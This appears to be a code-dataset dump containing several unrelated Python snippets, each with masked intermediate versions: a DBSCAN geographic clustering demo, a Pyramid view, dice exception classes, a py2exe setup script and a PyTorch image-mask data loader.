in range(2)] with open('users_bcn.csv', 'rb') as csvfile: data = csv.reader(csvfile, delimiter=',', quotechar='|') for key, row in enumerate(data): if key != 0: try: gps_matrix[0][key] = float(row[2].replace('"','')) gps_matrix[1][key] = float(row[1].replace('"','')) except: a = float(row[1].replace(',','')) print('problem string to float') ############################################################################## # Calculate the Distance matrix D = spatial.distance.pdist(gps_matrix, lambda u, v: getDistanceByHaversine(u,v)) ############################################################################## # Generate sample data centers = [[1, 1], [-1, -1], [1, -1]] X, labels_true = make_blobs(n_samples=750, centers=centers, cluster_std=0.4, random_state=0) X = StandardScaler().fit_transform(X) ############################################################################## # Compute DBSCAN db = DBSCAN(eps=0.3, min_samples=10).fit(X) core_samples_mask = np.zeros_like(db.labels_, dtype=bool) core_samples_mask[db.core_sample_indices_] = True labels = db.labels_ # Number of clusters in labels, ignoring noise if present. n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0) print('Estimated number of clusters: %d' % n_clusters_) print("Homogeneity: %0.3f" % metrics.homogeneity_score(labels_true, labels)) print("Completeness: %0.3f" % metrics.completeness_score(labels_true, labels)) print("V-measure: %0.3f" % metrics.v_measure_score(labels_true, labels)) print("Adjusted Rand Index: %0.3f" % metrics.adjusted_rand_score(labels_true, labels)) print("Adjusted Mutual Information: %0.3f" % metrics.adjusted_mutual_info_score(labels_true, labels)) print("Silhouette Coefficient: %0.3f" % metrics.silhouette_score(X, labels)) ############################################################################## # Plot result import matplotlib.pyplot as plt # Black removed and is used for noise instead. unique_labels = set(labels) colors = plt.cm.Spectral(np.linspace(0, 1, len(unique_labels))) for k, col in zip(unique_labels, colors): if k == -1: # Black used for noise. col = 'k' class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor='k', markersize=14) xy = X[class_member_mask & ~core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor='k', markersize=6) plt.title('Estimated number of clusters: %d' % n_clusters_) plt.show()
normal
{ "blob_id": "d2e3ac490ce5fdc20976567fa320a9e6a53cbe34", "index": 1037, "step-1": "<mask token>\n\n\ndef getDistanceByHaversine(loc1, loc2):\n \"\"\"Haversine formula - give coordinates as a 2D numpy array of\n (lat_denter link description hereecimal,lon_decimal) pairs\"\"\"\n lat1 = loc1[1]\n lon1 = loc1[0]\n lat2 = loc2[1]\n lon2 = loc2[0]\n lon1 = lon1 * sp.pi / 180.0\n lon2 = lon2 * sp.pi / 180.0\n lat1 = lat1 * sp.pi / 180.0\n lat2 = lat2 * sp.pi / 180.0\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = np.sin(dlat / 2) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon / 2.0\n ) ** 2\n c = 2.0 * np.arctan2(np.sqrt(a), np.sqrt(1.0 - a))\n km = EARTHRADIUS * c\n return km\n\n\n<mask token>\n", "step-2": "<mask token>\nprint(__doc__)\n<mask token>\n\n\ndef getDistanceByHaversine(loc1, loc2):\n \"\"\"Haversine formula - give coordinates as a 2D numpy array of\n (lat_denter link description hereecimal,lon_decimal) pairs\"\"\"\n lat1 = loc1[1]\n lon1 = loc1[0]\n lat2 = loc2[1]\n lon2 = loc2[0]\n lon1 = lon1 * sp.pi / 180.0\n lon2 = lon2 * sp.pi / 180.0\n lat1 = lat1 * sp.pi / 180.0\n lat2 = lat2 * sp.pi / 180.0\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = np.sin(dlat / 2) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon / 2.0\n ) ** 2\n c = 2.0 * np.arctan2(np.sqrt(a), np.sqrt(1.0 - a))\n km = EARTHRADIUS * c\n return km\n\n\n<mask token>\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n row_count = sum(1 for row in data)\n gps_matrix = [[(0) for i in range(row_count)] for j in range(2)]\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n for key, row in enumerate(data):\n if key != 0:\n try:\n gps_matrix[0][key] = float(row[2].replace('\"', ''))\n gps_matrix[1][key] = float(row[1].replace('\"', ''))\n except:\n a = float(row[1].replace(',', ''))\n print('problem string to float')\n<mask token>\nprint('Estimated number of clusters: %d' % n_clusters_)\nprint('Homogeneity: %0.3f' % metrics.homogeneity_score(labels_true, labels))\nprint('Completeness: %0.3f' % metrics.completeness_score(labels_true, labels))\nprint('V-measure: %0.3f' % metrics.v_measure_score(labels_true, labels))\nprint('Adjusted Rand Index: %0.3f' % metrics.adjusted_rand_score(\n labels_true, labels))\nprint('Adjusted Mutual Information: %0.3f' % metrics.\n adjusted_mutual_info_score(labels_true, labels))\nprint('Silhouette Coefficient: %0.3f' % metrics.silhouette_score(X, labels))\n<mask token>\nfor k, col in zip(unique_labels, colors):\n if k == -1:\n col = 'k'\n class_member_mask = labels == k\n xy = X[class_member_mask & core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor=\n 'k', markersize=14)\n xy = X[class_member_mask & ~core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor=\n 'k', markersize=6)\nplt.title('Estimated number of clusters: %d' % n_clusters_)\nplt.show()\n", "step-3": "<mask token>\nprint(__doc__)\n<mask token>\nEARTHRADIUS = 6371.0\n\n\ndef getDistanceByHaversine(loc1, loc2):\n \"\"\"Haversine formula - give coordinates as a 2D numpy array of\n (lat_denter link description hereecimal,lon_decimal) pairs\"\"\"\n lat1 = loc1[1]\n lon1 = loc1[0]\n lat2 = loc2[1]\n lon2 = loc2[0]\n lon1 = lon1 * sp.pi / 180.0\n lon2 = lon2 * sp.pi / 180.0\n lat1 = lat1 * sp.pi / 180.0\n lat2 = lat2 * sp.pi / 180.0\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = np.sin(dlat / 2) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon / 2.0\n ) ** 2\n c = 2.0 * np.arctan2(np.sqrt(a), np.sqrt(1.0 - a))\n km = EARTHRADIUS * c\n return km\n\n\n<mask token>\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n row_count = sum(1 for row in data)\n gps_matrix = [[(0) for i in range(row_count)] for j in range(2)]\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n for key, row in enumerate(data):\n if key != 0:\n try:\n gps_matrix[0][key] = float(row[2].replace('\"', ''))\n gps_matrix[1][key] = float(row[1].replace('\"', ''))\n except:\n a = float(row[1].replace(',', ''))\n print('problem string to float')\nD = spatial.distance.pdist(gps_matrix, lambda u, v: getDistanceByHaversine(\n u, v))\ncenters = [[1, 1], [-1, -1], [1, -1]]\nX, labels_true = make_blobs(n_samples=750, centers=centers, cluster_std=0.4,\n random_state=0)\nX = StandardScaler().fit_transform(X)\ndb = DBSCAN(eps=0.3, min_samples=10).fit(X)\ncore_samples_mask = np.zeros_like(db.labels_, dtype=bool)\ncore_samples_mask[db.core_sample_indices_] = True\nlabels = db.labels_\nn_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)\nprint('Estimated number of clusters: %d' % n_clusters_)\nprint('Homogeneity: %0.3f' % metrics.homogeneity_score(labels_true, labels))\nprint('Completeness: %0.3f' % metrics.completeness_score(labels_true, labels))\nprint('V-measure: %0.3f' % metrics.v_measure_score(labels_true, labels))\nprint('Adjusted Rand Index: %0.3f' % metrics.adjusted_rand_score(\n labels_true, labels))\nprint('Adjusted Mutual Information: %0.3f' % metrics.\n adjusted_mutual_info_score(labels_true, labels))\nprint('Silhouette Coefficient: %0.3f' % metrics.silhouette_score(X, labels))\n<mask token>\nunique_labels = set(labels)\ncolors = plt.cm.Spectral(np.linspace(0, 1, len(unique_labels)))\nfor k, col in zip(unique_labels, colors):\n if k == -1:\n col = 'k'\n class_member_mask = labels == k\n xy = X[class_member_mask & core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor=\n 'k', markersize=14)\n xy = X[class_member_mask & ~core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor=\n 'k', markersize=6)\nplt.title('Estimated number of clusters: %d' % n_clusters_)\nplt.show()\n", "step-4": "<mask token>\nimport scipy as sp\nimport numpy as np\nfrom scipy import spatial\nprint(__doc__)\nfrom sklearn.cluster import DBSCAN\nfrom sklearn import metrics\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.preprocessing import StandardScaler\nEARTHRADIUS = 6371.0\n\n\ndef getDistanceByHaversine(loc1, loc2):\n \"\"\"Haversine formula - give coordinates as a 2D numpy array of\n (lat_denter link description hereecimal,lon_decimal) pairs\"\"\"\n lat1 = loc1[1]\n lon1 = loc1[0]\n lat2 = loc2[1]\n lon2 = loc2[0]\n lon1 = lon1 * sp.pi / 180.0\n lon2 = lon2 * sp.pi / 180.0\n lat1 = lat1 * sp.pi / 180.0\n lat2 = lat2 * sp.pi / 180.0\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = np.sin(dlat / 2) ** 2 + np.cos(lat1) * np.cos(lat2) * np.sin(dlon / 2.0\n ) ** 2\n c = 2.0 * np.arctan2(np.sqrt(a), np.sqrt(1.0 - a))\n km = EARTHRADIUS * c\n return km\n\n\nimport csv\nimport re\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n row_count = sum(1 for row in data)\n gps_matrix = [[(0) for i in range(row_count)] for j in range(2)]\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n for key, row in enumerate(data):\n if key != 0:\n try:\n gps_matrix[0][key] = float(row[2].replace('\"', ''))\n gps_matrix[1][key] = float(row[1].replace('\"', ''))\n except:\n a = float(row[1].replace(',', ''))\n print('problem string to float')\nD = spatial.distance.pdist(gps_matrix, lambda u, v: getDistanceByHaversine(\n u, v))\ncenters = [[1, 1], [-1, -1], [1, -1]]\nX, labels_true = make_blobs(n_samples=750, centers=centers, cluster_std=0.4,\n random_state=0)\nX = StandardScaler().fit_transform(X)\ndb = DBSCAN(eps=0.3, min_samples=10).fit(X)\ncore_samples_mask = np.zeros_like(db.labels_, dtype=bool)\ncore_samples_mask[db.core_sample_indices_] = True\nlabels = db.labels_\nn_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)\nprint('Estimated number of clusters: %d' % n_clusters_)\nprint('Homogeneity: %0.3f' % metrics.homogeneity_score(labels_true, labels))\nprint('Completeness: %0.3f' % metrics.completeness_score(labels_true, labels))\nprint('V-measure: %0.3f' % metrics.v_measure_score(labels_true, labels))\nprint('Adjusted Rand Index: %0.3f' % metrics.adjusted_rand_score(\n labels_true, labels))\nprint('Adjusted Mutual Information: %0.3f' % metrics.\n adjusted_mutual_info_score(labels_true, labels))\nprint('Silhouette Coefficient: %0.3f' % metrics.silhouette_score(X, labels))\nimport matplotlib.pyplot as plt\nunique_labels = set(labels)\ncolors = plt.cm.Spectral(np.linspace(0, 1, len(unique_labels)))\nfor k, col in zip(unique_labels, colors):\n if k == -1:\n col = 'k'\n class_member_mask = labels == k\n xy = X[class_member_mask & core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor=\n 'k', markersize=14)\n xy = X[class_member_mask & ~core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col, markeredgecolor=\n 'k', markersize=6)\nplt.title('Estimated number of clusters: %d' % n_clusters_)\nplt.show()\n", "step-5": "# -*- coding: utf-8 -*-\n\"\"\"\n===================================\nDemo of DBSCAN clustering algorithm\n===================================\n\nFinds core samples of high density and expands clusters from them.\n\n\"\"\"\nimport scipy as sp\nimport numpy as np\n\nfrom scipy import spatial\nprint(__doc__)\n\n\nfrom sklearn.cluster import DBSCAN\nfrom sklearn import metrics\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.preprocessing import StandardScaler\n\n##############################################################################\n# Calcule Distance Haversine Methods\n\nEARTHRADIUS = 6371.0\n\ndef getDistanceByHaversine(loc1, loc2):\n '''Haversine formula - give coordinates as a 2D numpy array of\n (lat_denter link description hereecimal,lon_decimal) pairs'''\n #\n # \"unpack\" our numpy array, this extracts column wise arrays\n lat1 = loc1[1]\n lon1 = loc1[0]\n lat2 = loc2[1]\n lon2 = loc2[0]\n #\n # convert to radians ##### Completely identical\n lon1 = lon1 * sp.pi / 180.0\n lon2 = lon2 * sp.pi / 180.0\n lat1 = lat1 * sp.pi / 180.0\n lat2 = lat2 * sp.pi / 180.0\n #\n # haversine formula #### Same, but atan2 named arctan2 in numpy\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = (np.sin(dlat/2))**2 + np.cos(lat1) * np.cos(lat2) * (np.sin(dlon/2.0))**2\n c = 2.0 * np.arctan2(np.sqrt(a), np.sqrt(1.0-a))\n km = EARTHRADIUS * c\n return km\n\n\n##############################################################################\n# Create a Matrix with longitude and latitude\n\nimport csv\nimport re\n\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n\n row_count = sum(1 for row in data)\n gps_matrix = [[0 for i in range(row_count)] for j in range(2)]\n\nwith open('users_bcn.csv', 'rb') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n\n for key, row in enumerate(data):\n if key != 0:\n try:\n gps_matrix[0][key] = float(row[2].replace('\"',''))\n gps_matrix[1][key] = float(row[1].replace('\"',''))\n except:\n a = float(row[1].replace(',',''))\n print('problem string to float')\n\n##############################################################################\n# Calculate the Distance matrix\n\nD = spatial.distance.pdist(gps_matrix, lambda u, v: getDistanceByHaversine(u,v))\n\n\n##############################################################################\n# Generate sample data\ncenters = [[1, 1], [-1, -1], [1, -1]]\nX, labels_true = make_blobs(n_samples=750, centers=centers, cluster_std=0.4,\n random_state=0)\n\nX = StandardScaler().fit_transform(X)\n\n##############################################################################\n# Compute DBSCAN\ndb = DBSCAN(eps=0.3, min_samples=10).fit(X)\ncore_samples_mask = np.zeros_like(db.labels_, dtype=bool)\ncore_samples_mask[db.core_sample_indices_] = True\nlabels = db.labels_\n\n# Number of clusters in labels, ignoring noise if present.\nn_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)\n\nprint('Estimated number of clusters: %d' % n_clusters_)\nprint(\"Homogeneity: %0.3f\" % metrics.homogeneity_score(labels_true, labels))\nprint(\"Completeness: %0.3f\" % metrics.completeness_score(labels_true, labels))\nprint(\"V-measure: %0.3f\" % metrics.v_measure_score(labels_true, labels))\nprint(\"Adjusted Rand Index: %0.3f\"\n % metrics.adjusted_rand_score(labels_true, labels))\nprint(\"Adjusted Mutual Information: %0.3f\"\n % metrics.adjusted_mutual_info_score(labels_true, labels))\nprint(\"Silhouette Coefficient: %0.3f\"\n % metrics.silhouette_score(X, labels))\n\n##############################################################################\n# Plot result\nimport matplotlib.pyplot as plt\n\n# Black removed and is used for noise instead.\nunique_labels = set(labels)\ncolors = plt.cm.Spectral(np.linspace(0, 1, len(unique_labels)))\nfor k, col in zip(unique_labels, colors):\n if k == -1:\n # Black used for noise.\n col = 'k'\n\n class_member_mask = (labels == k)\n\n xy = X[class_member_mask & core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col,\n markeredgecolor='k', markersize=14)\n\n xy = X[class_member_mask & ~core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col,\n markeredgecolor='k', markersize=6)\n\nplt.title('Estimated number of clusters: %d' % n_clusters_)\nplt.show()\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
from pyramid.view import view_config, view_defaults from ecoreleve_server.core.base_view import CRUDCommonView from .individual_resource import IndividualResource, IndividualsResource, IndividualLocationsResource @view_defaults(context=IndividualResource) class IndividualView(CRUDCommonView): @view_config(name='equipment', request_method='GET', renderer='json', permission='read') def getEquipment(self): return self.context.getEquipment()
normal
{ "blob_id": "a3cfd507e30cf232f351fbc66d347aaca99a0447", "index": 4059, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@view_defaults(context=IndividualResource)\nclass IndividualView(CRUDCommonView):\n <mask token>\n", "step-3": "<mask token>\n\n\n@view_defaults(context=IndividualResource)\nclass IndividualView(CRUDCommonView):\n\n @view_config(name='equipment', request_method='GET', renderer='json',\n permission='read')\n def getEquipment(self):\n return self.context.getEquipment()\n", "step-4": "from pyramid.view import view_config, view_defaults\nfrom ecoreleve_server.core.base_view import CRUDCommonView\nfrom .individual_resource import IndividualResource, IndividualsResource, IndividualLocationsResource\n\n\n@view_defaults(context=IndividualResource)\nclass IndividualView(CRUDCommonView):\n\n @view_config(name='equipment', request_method='GET', renderer='json',\n permission='read')\n def getEquipment(self):\n return self.context.getEquipment()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# Copyright 2021 Yegor Bitensky # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. class DiceEmptyInialItemsError(Exception): def __init__(self): super().__init__( "To dice creation " "whether \"faces_count\" or \"faces_items\" " "argsuments need to be passed." ) class DiceWrongFacesCountTypeError(Exception): def __init__(self): super().__init__("Dice \"faces_count\" argsument type need to be \"int\".") class DiceWrongFacesCountError(Exception): def __init__(self, min_count): super().__init__(f"Dice \"faces_count\" argsument need to be greater or equal to {min_count}.") class DiceWrongFacesItemsTypeError(Exception): def __init__(self): super().__init__("Dice \"faces_items\" argsument need to be iterable.") class DiceWrongFacesItemsCountError(Exception): def __init__(self, min_count): super().__init__(f"Dice \"faces_items\" count need to be greater or equal to {min_count}.") class DiceBoxWrongItemAdditionError(Exception): def __init__(self): super().__init__("Dice instance expected.")
normal
{ "blob_id": "5750fd4b59f75ea63b4214ee66b23602ed4d314d", "index": 8909, "step-1": "<mask token>\n\n\nclass DiceWrongFacesItemsTypeError(Exception):\n\n def __init__(self):\n super().__init__('Dice \"faces_items\" argsument need to be iterable.')\n\n\nclass DiceWrongFacesItemsCountError(Exception):\n\n def __init__(self, min_count):\n super().__init__(\n f'Dice \"faces_items\" count need to be greater or equal to {min_count}.'\n )\n\n\nclass DiceBoxWrongItemAdditionError(Exception):\n\n def __init__(self):\n super().__init__('Dice instance expected.')\n", "step-2": "<mask token>\n\n\nclass DiceWrongFacesCountError(Exception):\n <mask token>\n\n\nclass DiceWrongFacesItemsTypeError(Exception):\n\n def __init__(self):\n super().__init__('Dice \"faces_items\" argsument need to be iterable.')\n\n\nclass DiceWrongFacesItemsCountError(Exception):\n\n def __init__(self, min_count):\n super().__init__(\n f'Dice \"faces_items\" count need to be greater or equal to {min_count}.'\n )\n\n\nclass DiceBoxWrongItemAdditionError(Exception):\n\n def __init__(self):\n super().__init__('Dice instance expected.')\n", "step-3": "<mask token>\n\n\nclass DiceWrongFacesCountTypeError(Exception):\n <mask token>\n\n\nclass DiceWrongFacesCountError(Exception):\n\n def __init__(self, min_count):\n super().__init__(\n f'Dice \"faces_count\" argsument need to be greater or equal to {min_count}.'\n )\n\n\nclass DiceWrongFacesItemsTypeError(Exception):\n\n def __init__(self):\n super().__init__('Dice \"faces_items\" argsument need to be iterable.')\n\n\nclass DiceWrongFacesItemsCountError(Exception):\n\n def __init__(self, min_count):\n super().__init__(\n f'Dice \"faces_items\" count need to be greater or equal to {min_count}.'\n )\n\n\nclass DiceBoxWrongItemAdditionError(Exception):\n\n def __init__(self):\n super().__init__('Dice instance expected.')\n", "step-4": "class DiceEmptyInialItemsError(Exception):\n\n def __init__(self):\n super().__init__(\n 'To dice creation whether \"faces_count\" or \"faces_items\" argsuments need to be passed.'\n )\n\n\nclass DiceWrongFacesCountTypeError(Exception):\n\n def __init__(self):\n super().__init__('Dice \"faces_count\" argsument type need to be \"int\".')\n\n\nclass DiceWrongFacesCountError(Exception):\n\n def __init__(self, min_count):\n super().__init__(\n f'Dice \"faces_count\" argsument need to be greater or equal to {min_count}.'\n )\n\n\nclass DiceWrongFacesItemsTypeError(Exception):\n\n def __init__(self):\n super().__init__('Dice \"faces_items\" argsument need to be iterable.')\n\n\nclass DiceWrongFacesItemsCountError(Exception):\n\n def __init__(self, min_count):\n super().__init__(\n f'Dice \"faces_items\" count need to be greater or equal to {min_count}.'\n )\n\n\nclass DiceBoxWrongItemAdditionError(Exception):\n\n def __init__(self):\n super().__init__('Dice instance expected.')\n", "step-5": "# Copyright 2021 Yegor Bitensky\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nclass DiceEmptyInialItemsError(Exception):\n def __init__(self):\n super().__init__(\n \"To dice creation \"\n \"whether \\\"faces_count\\\" or \\\"faces_items\\\" \"\n \"argsuments need to be passed.\"\n )\n\n\nclass DiceWrongFacesCountTypeError(Exception):\n def __init__(self):\n super().__init__(\"Dice \\\"faces_count\\\" argsument type need to be \\\"int\\\".\")\n\n\nclass DiceWrongFacesCountError(Exception):\n def __init__(self, min_count):\n super().__init__(f\"Dice \\\"faces_count\\\" argsument need to be greater or equal to {min_count}.\")\n\n\nclass DiceWrongFacesItemsTypeError(Exception):\n def __init__(self):\n super().__init__(\"Dice \\\"faces_items\\\" argsument need to be iterable.\")\n\n\nclass DiceWrongFacesItemsCountError(Exception):\n def __init__(self, min_count):\n super().__init__(f\"Dice \\\"faces_items\\\" count need to be greater or equal to {min_count}.\")\n\n\nclass DiceBoxWrongItemAdditionError(Exception):\n def __init__(self):\n super().__init__(\"Dice instance expected.\")\n", "step-ids": [ 6, 7, 9, 12, 13 ] }
[ 6, 7, 9, 12, 13 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> setup(console=['pyscript.py']) <|reserved_special_token_1|> from distutils.core import setup import py2exe setup(console=['pyscript.py']) <|reserved_special_token_1|> # code below #taking filename as pyscript.py from distutils.core import setup import py2exe setup(console=['pyscript.py']) # command to run # python setup.py pytoexe
flexible
{ "blob_id": "9fbf994cb99369ba0c20383007ce52c99248bacf", "index": 8820, "step-1": "<mask token>\n", "step-2": "<mask token>\nsetup(console=['pyscript.py'])\n", "step-3": "from distutils.core import setup\nimport py2exe\nsetup(console=['pyscript.py'])\n", "step-4": "\n# code below \n#taking filename as pyscript.py \n\nfrom distutils.core import setup \n\n\nimport py2exe \n\nsetup(console=['pyscript.py'])\n\n\n\n# command to run \n# python setup.py pytoexe \n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import os import cv2 import numpy as np import torch import torch.utils.data import torchvision from torchvision import transforms from utils.utils import loadYaml from .base_datalayer import BaseDataLayer import albumentations as albu class Datalayer(BaseDataLayer): def __init__(self, config, augmentation=None, preprocessing=None): super(Datalayer, self).__init__() self.config = config train_dir = self.config['Dataset']['TrainPath'] bg_imgs_dir = os.path.join(train_dir, 'bg') mask_suffix = '_mask.png' img_suffix = '.png' self.bg_masks_path = [os.path.join(bg_imgs_dir, bg_mask_name) for bg_mask_name in os.listdir(bg_imgs_dir) if bg_mask_name.endswith(mask_suffix)] self.bg_imgs_path = [bg_mask_path.replace(mask_suffix, img_suffix) for bg_mask_path in self.bg_masks_path] ng_imgs_dir = os.path.join(train_dir, 'ng') self.ng_masks_path = [os.path.join(ng_imgs_dir, ng_img_name) for ng_img_name in os.listdir(ng_imgs_dir) if ng_img_name.endswith(mask_suffix)] self.ng_imgs_path = [ng_mask_path.replace(mask_suffix, img_suffix) for ng_mask_path in self.ng_masks_path] self.augmentation = augmentation self.preprocessing = preprocessing def __len__(self): return len(self.bg_masks_path) + len(self.ng_masks_path) def __getitem__(self, item): # bg if np.random.random() > 0.5 and len(self.bg_masks_path) > 0: random_id_bg = np.random.randint(0, len(self.bg_imgs_path)) img_path, mask_path = self.bg_imgs_path[random_id_bg], self.bg_masks_path[random_id_bg] # ng else: random_id_ng = np.random.randint(0, len(self.ng_imgs_path)) img_path, mask_path = self.ng_imgs_path[random_id_ng], self.ng_masks_path[random_id_ng] img = cv2.imread(img_path) mask = cv2.imread(mask_path) img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # apply augmentations if self.augmentation: sample = self.augmentation(image=img, mask=mask) img, mask = sample['image'], sample['mask'] # apply preprocessing if self.preprocessing: sample = self.preprocessing(image=img, mask=mask) img, mask = sample['image'], sample['mask'] return img, mask
normal
{ "blob_id": "9928eaa32468453f405d8bb650f3e0e85a7933bf", "index": 5514, "step-1": "<mask token>\n\n\nclass Datalayer(BaseDataLayer):\n <mask token>\n <mask token>\n\n def __getitem__(self, item):\n if np.random.random() > 0.5 and len(self.bg_masks_path) > 0:\n random_id_bg = np.random.randint(0, len(self.bg_imgs_path))\n img_path, mask_path = self.bg_imgs_path[random_id_bg\n ], self.bg_masks_path[random_id_bg]\n else:\n random_id_ng = np.random.randint(0, len(self.ng_imgs_path))\n img_path, mask_path = self.ng_imgs_path[random_id_ng\n ], self.ng_masks_path[random_id_ng]\n img = cv2.imread(img_path)\n mask = cv2.imread(mask_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n if self.augmentation:\n sample = self.augmentation(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n if self.preprocessing:\n sample = self.preprocessing(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n return img, mask\n", "step-2": "<mask token>\n\n\nclass Datalayer(BaseDataLayer):\n <mask token>\n\n def __len__(self):\n return len(self.bg_masks_path) + len(self.ng_masks_path)\n\n def __getitem__(self, item):\n if np.random.random() > 0.5 and len(self.bg_masks_path) > 0:\n random_id_bg = np.random.randint(0, len(self.bg_imgs_path))\n img_path, mask_path = self.bg_imgs_path[random_id_bg\n ], self.bg_masks_path[random_id_bg]\n else:\n random_id_ng = np.random.randint(0, len(self.ng_imgs_path))\n img_path, mask_path = self.ng_imgs_path[random_id_ng\n ], self.ng_masks_path[random_id_ng]\n img = cv2.imread(img_path)\n mask = cv2.imread(mask_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n if self.augmentation:\n sample = self.augmentation(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n if self.preprocessing:\n sample = self.preprocessing(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n return img, mask\n", "step-3": "<mask token>\n\n\nclass Datalayer(BaseDataLayer):\n\n def __init__(self, config, augmentation=None, preprocessing=None):\n super(Datalayer, self).__init__()\n self.config = config\n train_dir = self.config['Dataset']['TrainPath']\n bg_imgs_dir = os.path.join(train_dir, 'bg')\n mask_suffix = '_mask.png'\n img_suffix = '.png'\n self.bg_masks_path = [os.path.join(bg_imgs_dir, bg_mask_name) for\n bg_mask_name in os.listdir(bg_imgs_dir) if bg_mask_name.\n endswith(mask_suffix)]\n self.bg_imgs_path = [bg_mask_path.replace(mask_suffix, img_suffix) for\n bg_mask_path in self.bg_masks_path]\n ng_imgs_dir = os.path.join(train_dir, 'ng')\n self.ng_masks_path = [os.path.join(ng_imgs_dir, ng_img_name) for\n ng_img_name in os.listdir(ng_imgs_dir) if ng_img_name.endswith(\n mask_suffix)]\n self.ng_imgs_path = [ng_mask_path.replace(mask_suffix, img_suffix) for\n ng_mask_path in self.ng_masks_path]\n self.augmentation = augmentation\n self.preprocessing = preprocessing\n\n def __len__(self):\n return len(self.bg_masks_path) + len(self.ng_masks_path)\n\n def __getitem__(self, item):\n if np.random.random() > 0.5 and len(self.bg_masks_path) > 0:\n random_id_bg = np.random.randint(0, len(self.bg_imgs_path))\n img_path, mask_path = self.bg_imgs_path[random_id_bg\n ], self.bg_masks_path[random_id_bg]\n else:\n random_id_ng = np.random.randint(0, len(self.ng_imgs_path))\n img_path, mask_path = self.ng_imgs_path[random_id_ng\n ], self.ng_masks_path[random_id_ng]\n img = cv2.imread(img_path)\n mask = cv2.imread(mask_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n if self.augmentation:\n sample = self.augmentation(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n if self.preprocessing:\n sample = self.preprocessing(image=img, mask=mask)\n img, mask = sample['image'], sample['mask']\n return img, mask\n", "step-4": "import os\nimport cv2\nimport numpy as np\nimport torch\nimport torch.utils.data\nimport torchvision\nfrom torchvision import transforms\nfrom utils.utils import loadYaml\nfrom .base_datalayer import BaseDataLayer\nimport albumentations as albu\n\n\nclass Datalayer(BaseDataLayer):\n\n def __init__(self, config, augmentation=None, preprocessing=None):\n super(Datalayer, self).__init__()\n self.config = config\n train_dir = self.config['Dataset']['TrainPath']\n bg_imgs_dir = os.path.join(train_dir, 'bg')\n mask_suffix = '_mask.png'\n img_suffix = '.png'\n self.bg_masks_path = [os.path.join(bg_imgs_dir, bg_mask_name) for\n bg_mask_name in os.listdir(bg_imgs_dir) if bg_mask_name.\n endswith(mask_suffix)]\n self.bg_imgs_path = [bg_mask_path.replace(mask_suffix, 